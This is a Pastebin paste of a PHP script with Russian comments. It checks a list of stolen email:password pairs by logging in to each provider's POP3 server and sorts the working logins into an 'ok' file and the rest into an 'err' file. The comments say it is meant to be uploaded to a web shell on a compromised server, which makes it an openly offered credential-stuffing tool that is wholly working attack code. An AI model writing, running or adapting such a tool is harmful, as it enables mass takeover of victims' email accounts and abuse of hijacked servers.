Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
527
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.34 KB | None | 0 0
  1. <?php
  2. //////////////////////////////////////////////////////////
  3. //                            //
  4. //    Скрипт для чеканья мыла на валидность!        //  
  5. //    Заливаем на Shell скрипт и файл mail.txt     //
  6. //    Формат mail.txt  mail@host.ex:password        //
  7. //      Чекает только мыла, у которых pop3 сервер    //
  8. //    располжен на pop.host.ex:110            //
  9. //      На выходе создаются 2 файла:            //
  10. //         ok.mail и err.mail             //
  11. //                Created by 5hr4M...    //
  12. //                            //
  13. //////////////////////////////////////////////////////////
  14. error_reporting(0);
  15. $in=fopen("mail.txt","r");
  16. if(!$in) {
  17.    echo "mail.txt not found...<br>";
  18.    exit();
  19.  }
  20.  while(!feof($in))  
  21.   {    
  22.    $host='';
  23.     $str='';
  24.    $user='';
  25.    $pass='';
  26.    $str=fgets($in,128);
  27.        $pos[1]=strpos($str,'@');  
  28.    $pos[2]=strpos($str,':');
  29.        $host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
  30.    $pos[3]=strpos($host,' ');
  31.        if ($pos[3]) $host=substr($host,0,$pos[3]);
  32.        $user=substr($str,0,$pos[1]);
  33.        $pass=substr($str,$pos[2]+1);
  34.       connect ($host,$user,$pass);  
  35.   }
  36. echo "End<br>";
  37. fclose($in);  
  38.  
  39. function connect($host,$user,$pass){
  40. $fp = fsockopen($host, 110, &$errno, &$errstr, 30);
  41. fputs($fp,"USER $user\n");
  42. $resp=fgets($fp,1024);
  43. if ($resp[0]=='+')
  44.     {
  45.        fputs($fp,"PASS $pass\n");
  46.        $resp=fgets($fp,1024);
  47.         if ($resp[0]=='+')
  48.                 {
  49.                @$out=fopen("ok.mail","a");
  50.                  $mg=$user . '@' . substr($host,4). ':' . $pass;
  51.                  echo $mg.'<br>';
  52.                @fputs($out,$mg);
  53.                @fclose($out);
  54.                 }else
  55.                {
  56.        //        echo 'Pass failure';
  57.                @$out=fopen("err.mail","a");
  58.                  $mg=$user . '@' . substr($host,4). ':' . $pass;
  59.                  @fputs($out,$mg);
  60.                @fclose($out);
  61.                }
  62.  
  63.     }else
  64.    {
  65.        //echo 'User failure';
  66.                @$out=fopen("err.mail","a");
  67.                  $mg=$user . '@' . substr($host,4). ':' . $pass;
  68.                  @fputs($out,$mg);
  69.                @fclose($out);
  70.    }
  71. fputs($fp,"QUIT\n");
  72. $resp=fgets($fp,1024);
  73. fclose($fp);
  74. }
  75. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement